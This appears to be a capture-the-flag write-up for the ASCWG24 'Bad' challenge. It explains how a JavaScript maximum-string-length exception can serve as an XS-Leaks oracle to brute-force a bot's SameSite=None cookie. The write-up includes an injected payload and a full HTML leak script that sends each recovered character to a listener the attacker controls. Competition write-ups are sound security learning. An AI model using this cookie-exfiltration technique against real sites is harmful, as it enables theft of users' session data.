ASCWG24 — Bad (XS-Leaks)
TL;DR
Abusing the JavaScript string maximum length to leak the cookies with SameSite=None.
Challenge Setup
The challenge have three services:
- hello: The target web application built with php running on port 80, deployed with cloudflare (for the SSL).
- proxy: nginx proxy to communicate with the bot, running on port 81
- bot: CTF-XSS-Bot with no exposed ports.

Analysis
The application:


We notice the following:
- SameSite = None.
- Limited XSS on the main page.
- The regex is allowing only the backticks, single routes, Plus sign and the dot sign.
The Bot and the Proxy:




We notice that:
- The bot is running on port 300 with rate limiting mechanism
- The proxy have an XSS in the main page
Attack Surface
Our goal is to get the flag, which is in the bot cookies, this makes it clear that this is a client side attack to steal/leak the cookies some how.
From our analysis above we can build our attack surface:
- The XSS in the proxy seems to be unintended since it doesn’t allow us to have any access to the application cookies (unless the secure flag wasn’t set since that the bot and the application would be considered as same site through the public ip).
- Based on the regex, we can’t pass any object to any function as a parameter for ex: alert`document.cookie`, since it will be treated as a string, unless we are calling a function in the object class, for ex: document.cookie.test``.
- The cookies have the SameSite=None, which will allow us to send the cookies through cross site requests.
Entry Point
It was clear that this would be either a way to perform an xss to steal the cookies somehow, or leak it through a client side attack such as XS-Leaks (which was later confirmed by the challenge author).

In order to have a leak, we need a base case that we can identify any informations about the cookies.
Given that our JS is being saved in a variable when we are performing the XSS, we tried to have some event triggering when we set its value.

After several attempts, the idea was to set the value into a result of two function calls, in which one failure will create our base case:

so func2() could be for example a redirection, while func1() is going to be a condition function.
So we will have something like this:

The triggering function func2() will be the redirection.
Func1() had to be related to the cookies, more precisely to each cookie character.
After many reading and searching, my team mate @Ahmed_ASherif was fuzzing the DOM XD, and noticed that there is an exception being raised when the string length is too big.

The maximum string length could be found in here

And this was the entry point for us to have func1() and func2().
Building the attack
The attack sequence will be the following:

In order to build func1(i), we need to perform a mathematical operation on document.cookie.charAt(i)
, such that when the length of the result string less than the Maximum string length, this will stop the redirection and will load the page normally.
The result after many attempts was this payload:

'1'.charCodeAt``: // To make sure that the ASCII for the cookie character is a number
document.cookie.charCodeAt`2`: // getting the ascii code of the character we are leaking
(1000-(c.charCodeAt()+49)): // this should always result to 1000 (a string of length 4) where c is the character we are brute-forcing.
'a'.repeat`536870885`: // A buffer that will be appended to the 1000 and trigger the max_length exception.
For func2() we used location.assign
to perform the redirection.
this will result into the following final payload:


Building Leak Script
Now since we have everything ready, it’s time to leak :).
<!DOCTYPE html>
<html>
<body>
<script>
function calcLeng(c) {
return 1000 - (c.charCodeAt() + 49);
}
function charAT(o, i) {
if (i < 32) {
return 1;
}
let c = String.fromCharCode(i);
let s = Object.assign(document.createElement('object'), {
data: "http://127.0.0.1/?name=1%27.charCodeAt``%2bdocument.cookie.charCodeAt`" + o + "`%2b" + calcLeng(c) + "%2b%27a%27.repeat`536870885`%2blocation.assign`example.com`%2b%27",
onerror: e=>{
e.target.remove();
charAT(o, --i);
}
,
onload: e=>{
e.target.remove();
fetch("http://127.0.0.1:5555/" + o + "-" + c);
}
});
document.body.appendChild(s);
}
for (let u = 0; u <= 40; u++) {
charAT(u, 126);
}
</script>
</body>
</html>
The above script will do the following:
The charAT
function creates an <object>
element with a URL that is our constructed payload, and some additional calculations. It sets up handlers to deal with both successful and failed attempts to load the URL.
When the URL loads successfully (Max_length exception so it’s the right character), it sends a fetch
request to our server with the character location and value.
If loading fails (redirect happens so it’s not the right character), it retries with a decremented index until i
is less than 32 (only printable characters) .

The bot was so slow because some players were fuzzing it :”(, made us miss the 1st blood.
Conclusions
- Despite the rumors about ctf’s being non realistic and useless, try to always build a mindset while solving them that you can apply on the real examples.
- It’s really important to understand the goal and the attack surface, it will make it easy to draw the attack scenarios.
- Visualisation is important, it helps with understanding the problem and how to solve it.
Greetings
Thank you for reading this, I hope it was clear and simple, we got the first place in the qualifications round and hope to get it in the finals too.

Shout out to my team for the great performance and for the challenge author Abdelhameed Ghazi.